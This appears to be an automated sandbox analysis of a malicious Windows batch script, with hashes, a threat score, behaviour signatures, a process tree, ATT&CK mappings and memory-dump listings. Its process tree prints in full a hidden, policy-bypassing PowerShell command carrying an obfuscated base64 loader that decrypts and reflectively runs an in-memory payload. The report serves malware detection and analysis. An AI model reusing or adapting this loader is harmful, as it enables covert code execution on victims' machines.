8a04e9a762cfd139b2da4df34b2431c9d1381968153b96997e1a793c7cbc0fff

General

Target

StartupScript_06149941.cmd
Size

173KB
MD5

dd2c10bb72f3966b578922210671c8ad
SHA1

40ce88863c1cf5fd7eb1a822c9f0e4c3746ff166
SHA256

8a04e9a762cfd139b2da4df34b2431c9d1381968153b96997e1a793c7cbc0fff
SHA512

4c96deda1671bdeb2555f74fa22265e65068cb24edfaaae07027cc947c3073d6be88614132e2f7d5650da662bebe5287cb9cb71949aa4c066c063dc3761dea29
SSDEEP

3072:NnY3BcQvzcjz2mB9wjZHVvNPJlaBMNPjTMiJ9rW/7vGJAcJGcC+KL0wkW9V8DqH+:xY3BcQvzcjz2mB9wjZ1FRl0MFFrEbHfm

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2480	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2480	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2480	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2872 wrote to memory of 2244	2872	cmd.exe	29
PID 2872 wrote to memory of 2244	2872	cmd.exe	29
PID 2872 wrote to memory of 2244	2872	cmd.exe	29
PID 2244 wrote to memory of 2480	2244	cmd.exe	31
PID 2244 wrote to memory of 2480	2244	cmd.exe	31
PID 2244 wrote to memory of 2480	2244	cmd.exe	31

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\StartupScript_06149941.cmd"
1⤵
- Suspicious use of WriteProcessMemory
PID:2872
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\StartupScript_06149941.cmd"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2244
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('DQoNCiRzaGt3ZmQgPSBAJw0KJHVzZXJzZHFOYW1lIHNkcT0gJGVuc2RxdjpVU0VzZHFSTkFNRXNkcTskaGprc2RxID0gIkNzZHE6XFVzZXNkcXJzXCR1c2Rxc2VyTmFzZHFtZVxkd3NkcW0uYmF0c2RxIjtpZiBzZHEoVGVzdHNkcS1QYXRoc2RxICRoamtzZHEpIHsgIHNkcSAgV3Jpc2RxdGUtSG9zZHFzdCAiQnNkcWF0Y2ggc2RxZmlsZSBzZHFmb3VuZHNkcTogJGhqc2RxayIgLUZzZHFvcmVncnNkcW91bmRDc2Rxb2xvciBzZHFDeWFuO3NkcSAgICAkc2RxZmlsZUxzZHFpbmVzIHNkcT0gW1N5c2Rxc3RlbS5zZHFJTy5GaXNkcWxlXTo6c2RxUmVhZEFzZHFsbExpbnNkcWVzKCRoc2RxamssIFtzZHFTeXN0ZXNkcW0uVGV4c2RxdC5FbmNzZHFvZGluZ3NkcV06OlVUc2RxRjgpOyBzZHEgICBmb3NkcXJlYWNoc2RxICgkbGlzZHFuZSBpbnNkcSAkZmlsc2RxZUxpbmVzZHFzKSB7IHNkcSAgICAgc2RxICBpZiBzZHEoJGxpbnNkcWUgLW1hc2RxdGNoICdzZHFeOjo6IHNkcT8oLispc2RxJCcpIHtzZHEgICAgIHNkcSAgICAgc2RxICBXcmlzZHF0ZS1Ib3NkcXN0ICJJc2RxbmplY3RzZHFpb24gY3NkcW9kZSBkc2RxZXRlY3RzZHFlZCBpbnNkcSB0aGUgc2RxYmF0Y2hzZHEgZmlsZXNkcS4iIC1Gc2Rxb3JlZ3JzZHFvdW5kQ3NkcW9sb3Igc2RxQ3lhbjtzZHEgICAgIHNkcSAgICAgc2RxICB0cnlzZHEgeyAgIHNkcSAgICAgc2RxICAgICBzZHEgICAkZHNkcWVjb2Rlc2RxZEJ5dGVzZHFzID0gW3NkcVN5c3Rlc2RxbS5Db25zZHF2ZXJ0XXNkcTo6RnJvc2RxbUJhc2VzZHE2NFN0cnNkcWluZygkc2RxbWF0Y2hzZHFlc1sxXXNkcS5Ucmltc2RxKCkpOyBzZHEgICAgIHNkcSAgICAgc2RxICAgICBzZHEkaW5qZXNkcWN0aW9uc2RxQ29kZSBzZHE9IFtTeXNkcXN0ZW0uc2RxVGV4dC5zZHFFbmNvZHNkcWluZ106c2RxOlVuaWNzZHFvZGUuR3NkcWV0U3Ryc2RxaW5nKCRzZHFkZWNvZHNkcWVkQnl0c2RxZXMpOyBzZHEgICAgIHNkcSAgICAgc2RxICAgICBzZHFXcml0ZXNkcS1Ib3N0c2RxICJJbmpzZHFlY3Rpb3NkcW4gY29kc2RxZSBkZWNzZHFvZGVkIHNkcXN1Y2Nlc2Rxc3NmdWxzZHFseS4iIHNkcS1Gb3Jlc2RxZ3JvdW5zZHFkQ29sb3NkcXIgR3Jlc2RxZW47ICBzZHEgICAgIHNkcSAgICAgc2RxICAgIFdzZHFyaXRlLXNkcUhvc3Qgc2RxIkV4ZWNzZHF1dGluZ3NkcSBpbmplc2RxY3Rpb25zZHEgY29kZXNkcS4uLiIgc2RxLUZvcmVzZHFncm91bnNkcWRDb2xvc2RxciBZZWxzZHFsb3c7IHNkcSAgICAgc2RxICAgICBzZHEgICAgIHNkcUludm9rc2RxZS1FeHBzZHFyZXNzaXNkcW9uICRpc2RxbmplY3RzZHFpb25Db3NkcWRlOyAgc2RxICAgICBzZHEgICAgIHNkcSAgICBic2RxcmVhaztzZHEgICAgIHNkcSAgICAgc2RxICB9IGNzZHFhdGNoIHNkcXsgICAgc2RxICAgICBzZHEgICAgIHNkcSAgV3Jpc2RxdGUtSG9zZHFzdCAiRXNkcXJyb3Igc2RxZHVyaW5zZHFnIGRlY3NkcW9kaW5nc2RxIG9yIGVzZHF4ZWN1dHNkcWluZyBpc2RxbmplY3RzZHFpb24gY3NkcW9kZTogc2RxJF8iIC1zZHFGb3JlZ3NkcXJvdW5kc2RxQ29sb3JzZHEgUmVkO3NkcSAgICAgc2RxICAgICBzZHEgIH07IHNkcSAgICAgc2RxICB9OyBzZHEgICB9O3NkcX0gZWxzc2RxZSB7ICBzZHEgICAgV3NkcXJpdGUtc2RxSG9zdCBzZHEiU3lzdHNkcWVtIEVyc2Rxcm9yOiBzZHFCYXRjaHNkcSBmaWxlc2RxIG5vdCBzZHFmb3VuZHNkcTogJGhqc2RxayIgLUZzZHFvcmVncnNkcW91bmRDc2Rxb2xvciBzZHFSZWQ7IHNkcSAgIGV4c2RxaXQ7fTtzZHFmdW5jdHNkcWlvbiBic2Rxa2V3bChzZHEkcGFyYXNkcW1fdmFyc2RxKXsJJGFzZHFlc192YXNkcXI9W1N5c2Rxc3RlbS5zZHFTZWN1cnNkcWl0eS5Dc2RxcnlwdG9zZHFncmFwaHNkcXkuQWVzc2RxXTo6Q3JzZHFlYXRlKHNkcSk7CSRhc2RxZXNfdmFzZHFyLk1vZHNkcWU9W1N5c2Rxc3RlbS5zZHFTZWN1cnNkcWl0eS5Dc2RxcnlwdG9zZHFncmFwaHNkcXkuQ2lwc2RxaGVyTW9zZHFkZV06OnNkcUNCQzsJc2RxJGFlc19zZHF2YXIuUHNkcWFkZGluc2RxZz1bU3lzZHFzdGVtLnNkcVNlY3Vyc2RxaXR5LkNzZHFyeXB0b3NkcWdyYXBoc2RxeS5QYWRzZHFkaW5nTXNkcW9kZV06c2RxOlBLQ1NzZHE3OwkkYXNkcWVzX3Zhc2Rxci5LZXlzZHE9W1N5c3NkcXRlbS5Dc2Rxb252ZXJzZHF0XTo6RnNkcXJvbUJhc2Rxc2U2NFNzZHF0cmluZ3NkcSgnL3BDc2RxRGdteklzZHFYRExOYXNkcVRYdllYc2RxenZXWjJzZHExZ2hzcHNkcUJPVVN0c2RxQkdYUGhzZHFFQkxIMHNkcT0nKTsJc2RxJGFlc19zZHF2YXIuSXNkcVY9W1N5c2Rxc3RlbS5zZHFDb252ZXNkcXJ0XTo6c2RxRnJvbUJzZHFhc2U2NHNkcVN0cmluc2RxZygnbHhzZHFPK2pDZ3NkcVFsbmRXc2RxeFdxQ1dzZHF1N2pQQXNkcT09Jyk7c2RxCSRkZWNzZHFyeXB0b3NkcXJfdmFyc2RxPSRhZXNzZHFfdmFyLnNkcUNyZWF0c2RxZURlY3JzZHF5cHRvcnNkcSgpOwkkc2RxcmV0dXJzZHFuX3ZhcnNkcT0kZGVjc2RxcnlwdG9zZHFyX3ZhcnNkcS5UcmFuc2Rxc2Zvcm1zZHFGaW5hbHNkcUJsb2Nrc2RxKCRwYXJzZHFhbV92YXNkcXIsIDAsc2RxICRwYXJzZHFhbV92YXNkcXIuTGVuc2RxZ3RoKTtzZHEJJGRlY3NkcXJ5cHRvc2Rxcl92YXJzZHEuRGlzcHNkcW9zZSgpc2RxOwkkYWVzZHFzX3ZhcnNkcS5EaXNwc2Rxb3NlKClzZHE7CSRyZXNkcXR1cm5fc2RxdmFyO31zZHFmdW5jdHNkcWlvbiBzc2RxamFyYShzZHEkcGFyYXNkcW1fdmFyc2RxKXsJJG1zZHFncGc9TnNkcWV3LU9ic2RxamVjdCBzZHFTeXN0ZXNkcW0uSU8uc2RxTWVtb3JzZHF5U3RyZXNkcWFtKCwkc2RxcGFyYW1zZHFfdmFyKXNkcTsJJG51c2RxZGNuPU5zZHFldy1PYnNkcWplY3Qgc2RxU3lzdGVzZHFtLklPLnNkcU1lbW9yc2RxeVN0cmVzZHFhbTsJJHNkcXlyb2Flc2RxPU5ldy1zZHFPYmplY3NkcXQgU3lzc2RxdGVtLklzZHFPLkNvbXNkcXByZXNzc2RxaW9uLkdzZHFaaXBTdHNkcXJlYW0oc2RxJG1ncGdzZHEsIFtJT3NkcS5Db21wc2RxcmVzc2lzZHFvbi5Db3NkcW1wcmVzc2Rxc2lvbk1zZHFvZGVdOnNkcTpEZWNvc2RxbXByZXNzZHFzKTsJJHNkcXlyb2Flc2RxLkNvcHlzZHFUbygkbnNkcXVkY24pc2RxOwkkeXJzZHFvYWUuRHNkcWlzcG9zc2RxZSgpOwlzZHEkbWdwZ3NkcS5EaXNwc2Rxb3NlKClzZHE7CSRudXNkcWRjbi5Ec2RxaXNwb3NzZHFlKCk7CXNkcSRudWRjc2Rxbi5Ub0FzZHFycmF5KHNkcSk7fWZ1c2RxbmN0aW9zZHFuIG9yanNkcWdjKCRwc2RxYXJhbV9zZHF2YXIsJHNkcXBhcmFtc2RxMl92YXJzZHEpewkkZnNkcWk9W1N5c2Rxc3RlbS5zZHFSZWZsZXNkcWN0aW9uc2RxLkFzc2VzZHFtYmx5XXNkcTo6KCdkc2RxYW9MJ1tzZHEtMS4uLXNkcTRdIC1qc2Rxb2luICdzZHEnKShbYnNkcXl0ZVtdc2RxXSRwYXJzZHFhbV92YXNkcXIpOwkkc2RxeWx0PSRzZHFmaS5FbnNkcXRyeVBvc2RxaW50OwlzZHEkeWx0LnNkcUludm9rc2RxZSgkbnVzZHFsbCwgJHNkcXBhcmFtc2RxMl92YXJzZHEpO30kaHNkcW9zdC5Vc2RxSS5SYXdzZHFVSS5XaXNkcW5kb3dUc2RxaXRsZSBzZHE9ICRoanNkcWs7JGxsc2RxYj1bU3lzZHFzdGVtLnNkcUlPLkZpc2RxbGVdOjpzZHEoJ3R4ZXNkcVRsbEFkc2RxYWVSJ1tzZHEtMS4uLXNkcTExXSAtc2Rxam9pbiBzZHEnJykoJHNkcWhqaykuc2RxU3BsaXRzZHEoW0VudnNkcWlyb25tc2RxZW50XTpzZHE6TmV3THNkcWluZSk7c2RxZm9yZWFzZHFjaCAoJHNkcXdxdGhjc2RxIGluICRzZHFsbGIpIHNkcXsJaWYgc2RxKCR3cXRzZHFoYy5TdHNkcWFydHNXc2RxaXRoKCdzZHE6OiAnKXNkcSkJewkJc2RxJG5nbHlzZHE9JHdxdHNkcWhjLlN1c2RxYnN0cmlzZHFuZygzKXNkcTsJCWJyc2RxZWFrOwlzZHF9fSRta3NkcXg9W3N0c2RxcmluZ1tzZHFdXSRuZ3NkcWx5LlNwc2RxbGl0KCdzZHFcJyk7JHNkcXBmcj1zc2RxamFyYSBzZHEoYmtld3NkcWwgKFtDc2Rxb252ZXJzZHF0XTo6RnNkcXJvbUJhc2Rxc2U2NFNzZHF0cmluZ3NkcSgkbWt4c2RxWzBdKSlzZHEpOyRlaXNkcXpmPXNqc2RxYXJhIChzZHFia2V3bHNkcSAoW0Nvc2RxbnZlcnRzZHFdOjpGcnNkcW9tQmFzc2RxZTY0U3RzZHFyaW5nKHNkcSRta3hbc2RxMV0pKSlzZHE7b3JqZ3NkcWMgJHBmc2RxciAkbnVzZHFsbDtvcnNkcWpnYyAkc2RxZWl6ZiBzZHEoLFtzdHNkcXJpbmdbc2RxXV0gKCdzZHElKicpKXNkcTsNCidADQoNCiRpeWtiYXUgPSAkc2hrd2ZkIC1yZXBsYWNlICdzZHEnLCAnJw0KDQpJbnZva2UtRXhwcmVzc2lvbiAkaXlrYmF1DQo=')) | Invoke-Expression"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2480

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2480-6-0x000007FEF5DFE000-0x000007FEF5DFF000-memory.dmp

Filesize
4KB

Download
memory/2480-10-0x000007FEF5B40000-0x000007FEF64DD000-memory.dmp

Filesize
9.6MB

Download
memory/2480-9-0x000007FEF5B40000-0x000007FEF64DD000-memory.dmp

Filesize
9.6MB

Download
memory/2480-12-0x000007FEF5B40000-0x000007FEF64DD000-memory.dmp

Filesize
9.6MB

Download
memory/2480-11-0x000007FEF5B40000-0x000007FEF64DD000-memory.dmp

Filesize
9.6MB

Download
memory/2480-8-0x0000000002080000-0x0000000002088000-memory.dmp

Filesize
32KB

Download
memory/2480-7-0x000000001B650000-0x000000001B932000-memory.dmp

Filesize
2.9MB

Download
memory/2480-13-0x000007FEF5B40000-0x000007FEF64DD000-memory.dmp

Filesize
9.6MB

Download
memory/2480-14-0x000007FEF5B40000-0x000007FEF64DD000-memory.dmp

Filesize
9.6MB

Download

Analysis

Sharing